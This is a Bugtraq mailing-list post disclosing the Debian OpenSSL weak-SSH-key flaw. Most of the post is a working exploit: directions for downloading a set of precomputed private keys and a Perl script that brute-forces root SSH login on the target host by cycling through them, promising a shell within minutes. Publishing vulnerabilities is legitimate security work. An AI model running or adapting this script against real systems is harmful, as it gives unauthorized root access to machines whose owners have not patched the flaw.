Debian generated SSH-Keys working exploit

From: mm@deadbeef.de
To: bugtraq@securityfocus.com
Cc:
Subject: Debian generated SSH-Keys working exploit
Date:


Hi Securityfocus,

the debian openssl issue leads that there are only 65.536 possible ssh keys generated, cause the only entropy is the pid of the process generating the key.

This leads to that the following perl script can be used with the precalculated ssh keys to brute force the ssh login. It works if such a keys is installed on a non-patched debian or any other system manual configured to.

On an unpatched system, which doesn't need to be debian, do the following:

1. Download http://www.deadbeef.de/rsa.2048.tar.bzip2

2. Extract it to a directory

3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048 Bits, generated on an upatched debian (this is the key this exploit will break)

4. Run the perl script and give it the location to where you extracted the bzip2 mentioned.

#!/usr/bin/perl
my $keysPerConnect = 6;
unless ($ARGV[1]) {
   print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n";
   print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n";
   print "By mm@deadbeef.de\n";
   exit 0;
}
chdir($ARGV[0]);
opendir(A, $ARGV[0]) || die("opendir");
while ($_ = readdir(A)) {
   chomp;
   next unless m,^\d+$,;
   push(@a, $_);
   if (scalar(@a) > $keysPerConnect) {
      system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i ".$_ } @a)." ".$ARGV[1]);
      @a = ();
   }
}

5. Enjoy the shell after some minutes (less than 20 minutes)

Regards,
Markus Mueller
mm@deadbeef.de





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